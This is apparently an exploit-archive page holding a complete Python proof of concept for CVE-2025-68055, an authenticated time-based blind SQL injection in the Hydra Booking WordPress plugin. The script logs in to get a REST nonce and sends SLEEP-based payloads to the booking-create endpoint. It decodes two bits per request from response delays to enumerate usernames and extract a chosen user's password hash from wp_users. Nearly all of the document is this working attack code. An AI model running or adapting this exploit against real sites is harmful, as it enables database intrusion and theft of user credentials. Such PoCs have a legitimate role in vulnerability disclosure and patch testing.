4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-68055.py PY
#!/usr/bin/env python3

import sys
import requests
import argparse
import time

def wordpress_login(session: requests.Session, url: str, login: str, password: str) -> str:
    endpoint = url + "/wp-login.php"
    data = {
        "log": login,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": url + "/wp-admin/admin.php?page=hydra-booking",
        "testcookie": 1
    }

    cookies = {
        "wordpress_test_cookie": "WP Cookie check"
    }

    try:
        res = session.post(
                endpoint, 
                data=data, 
                verify=False, 
                allow_redirects=False, 
                cookies=cookies)
    except Exception as e:
        print("[FATAL] Failed to perform login request : " + str(e))
        exit(-1)

    if res.status_code == 200:
        print("[FATAL] Invalid credentials")
        exit(-1)

    if res.status_code != 302:
        print("[FATAL] Failed to login for unknown causes")
        exit(-1)

    # fetch nonce
    endpoint = url+"/wp-admin/admin-ajax.php?action=rest-nonce"
    res = session.get(endpoint)
    return res.text

def send_payload(session: requests.Session, url: str, payload: str) -> int:
    endpoint = url + "/wp-json/hydra-booking/v1/booking/create"
    data = {
        "id": payload
    }

    start = int(time.time())
    res = session.post(endpoint, json=data)
    end = int(time.time())
    if res.status_code != 200:
        print("[FATAL] Failed to perform SQL injection")
        exit(-1)

    return end - start

def generate_payload(char_offset: int, group_offset: int, column_name: str, table_name: str, cond=""):
    payload = f"foobar' AND (SELECT 1 FROM (select (case field(concat(substring(lpad(bin(ascii(substring({column_name}, {char_offset}, 1))), 8, '0'), {group_offset}, 2)), '00', '10', '01', '11') when 1 then TRUE when 2 then SLEEP(2) when 3 then SLEEP(4) when 4 then SLEEP(6) end) FROM {table_name} {cond})fHas) AND 'a'='a"
    return payload

def extract_password(session: requests.Session, url: str, target: str):
    ext = ""
    blocks = ['00', '10', '01', '11']
    idx = 1
    print(f"Dumping pasword hash of {target} : ", end="", flush=True)
    while True:
        bits = ""
        for i in range(1, 9, 2):
            payload = generate_payload(idx, i, "user_pass", "wp_users", cond=f"WHERE user_login='{target}' LIMIT 1")
            diff = send_payload(session, url, payload)
            bits += blocks[diff//2]
        
        idx += 1
        new = int(bits, 2)
        if new == 0:
            break
        else:
            ext += chr(new)
            print(chr(new), end='', flush=True)
    print()

def dump_users(session: requests.Session, url: str):
    print("Listing users from wp_users table : ")
    count = 0
    while True:
        print("- ", end="", flush=True)

        ext = ""
        blocks = ['00', '10', '01', '11']
        idx = 1
        while True:
            bits = ""
            for i in range(1, 9, 2):
                payload = generate_payload(idx, i, "user_login", "wp_users", f"LIMIT 1 OFFSET {count}")
                diff = send_payload(session, url, payload)
                bits += blocks[diff//2]
            idx += 1
            new = int(bits, 2)
            if new == 0:
                break
            else:
                ext += chr(new)
                print(chr(new), end='', flush=True)

        count += 1
        print()
        if not ext:
            break

def is_vulnerable(session, url: str):
    diff = send_payload(session, url, "foobar' AND (SELECT 1 FROM (SELECT SLEEP(5))fHas) AND 'a'='a")
    return diff >= 5

def exploit(url: str, login: str, password: str, list_users: bool, dump_password: str):
    session = requests.Session()
    nonce = wordpress_login(session, url, login, password)

    print("[+] Successfully logged in to wordpress !")
    print("[+] Wordpress Nonce :", nonce)

    session.headers.update({
        "X-WP-Nonce": nonce
    })

    print("[*] Checking if target is vulnerable...")
    if is_vulnerable(session, url):
        print("[+] TARGET IS VULNERABLE")
    else:
        print("[-] TARGET IS NOT VULNERABLE.")
        exit(-1)

    if dump_password:
        extract_password(session, url, dump_password)
    elif list_users:
        dump_users(session, url)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
            prog='CVE-2025-68055', 
            description='POC for authenticated SQLi in Hydra Booking WP-Plugin',
            epilog='Author: Nosiume')

    parser.add_argument('--url', '-u', help='url of the target wordpress endpoint', required=True)
    parser.add_argument("--login", "-l", help='username of the account', required=True)
    parser.add_argument("--password", "-p", help='password of the account', required=True)
    parser.add_argument("--list-users", help="List users using Time-Based Blind SQLi ", action="store_true")
    parser.add_argument("--dump-password", help="dumps the password of the given user")
    args = parser.parse_args(sys.argv[1:])

    exploit(args.url, args.login, args.password, args.list_users, args.dump_password)